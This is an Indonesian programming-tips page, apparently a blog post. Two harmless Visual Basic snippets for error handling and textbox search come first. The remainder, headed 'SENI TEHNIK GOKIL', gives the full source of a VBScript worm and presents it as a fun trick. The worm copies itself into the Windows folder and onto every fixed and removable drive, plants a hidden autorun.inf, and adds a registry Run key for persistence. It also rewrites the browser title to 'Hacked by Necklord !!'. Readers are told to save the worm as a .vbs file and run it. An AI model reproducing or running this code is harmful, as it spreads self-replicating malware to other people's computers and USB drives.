Error pada aplikasi memanglah sering kali terjadi karena kesalahan prosedur, atau juga karena input dari user. Untuk penanganan error dengan code coba dengan code penanganan error sbb:

On Local Error GoTo Result
Dim x() As Boolean
Dim y As Variant
'buat error
y = x(10)

Result:
If Err.Number = 9 Then
   ' penanganan
Else
   ' penanganan lainnya
End If

Dengan menggunakan err.number, kita dapat memberikan solusi untuk masalah yang sedang terjadi.

Atau gunakan saja solusi alternatif seperti ini:

On error resume next
'Error
Kill "c:\abcdredadnf.aaabbbccc"

Penanganan error dengan cara seperti atas membuat kita melangkahi error tampa perbaikan apapun (Diabaikan).

Selamat mencoba :)

Pertama tambahkan 1 buah textbox ke form. Lalu masukan kode sbb:

Private Sub Form_Load() teks = "oke" If teks <> "" ThenIf InStr(Text1, teks) <> 0 Then
Text1.SelStart = InStr(Text1, teks) - 1
Text1.SelLength = Len(teks)
Else
MsgBox "Kata yang Anda cari tidak ditemukan"
End If
End If
End Sub

Selamat mencoba

Mau jadi gokill comp?? Maksudnya mau coba yang g0k1ll g0k1ll di komputer anda?? Mungkin anda bisa mencoba yang satu ini:

SENI TEHNIK GOKIL

Langsung saja, pertama buka noteopad ketik/copy paste code ini:

on error resume next

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe winsetting.vbs”

set fs = createobject(“Scripting.FileSystemObject”)

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text=mf.openastextstream(1,-2)

do while not text.atendofstream

mysource=mysource&text.readline

mysource=mysource & vbcrlf

loop

do

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & “\winsetting.vbs”)

tf.attributes = 32

set tf=fs.createtextfile(winpath & “\winsetting.vbs”,2,true)

tf.write mysource

tf.close

set tf = fs.getfile(winpath & “\winsetting.vbs”)

tf.attributes = 39

for each flashdrive in fs.drives

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

set tf=fs.getfile(flashdrive.path &”\winsetting.vbs”)

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &”\winsetting.vbs”,2,true)

tf.write mysource

tf.close

set tf=fs.getfile(flashdrive.path &”\winsetting.vbs”)

tf.attributes =39

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)

tf.write atr

tf.close

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes=39

end if

next

set rg = createobject(“WScript.Shell”)

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\winsetting.vbs”

rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Necklord !!”

rg.regwrite “HKCR\vbsfile\DefaultIcon”,”shell32.dll,2″

if check <> 1 then

Wscript.sleep 200000

end if

loop while check<>1

set sd = createobject(“Wscript.shell”)

sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

2. Klik file, pilih save. Kemudian berinama bebas dengan ahkiran .vbs. Misal : g0kill.vbs.

3. Buka file yang anda buat tadi …

4. Selamat menjadi gokil …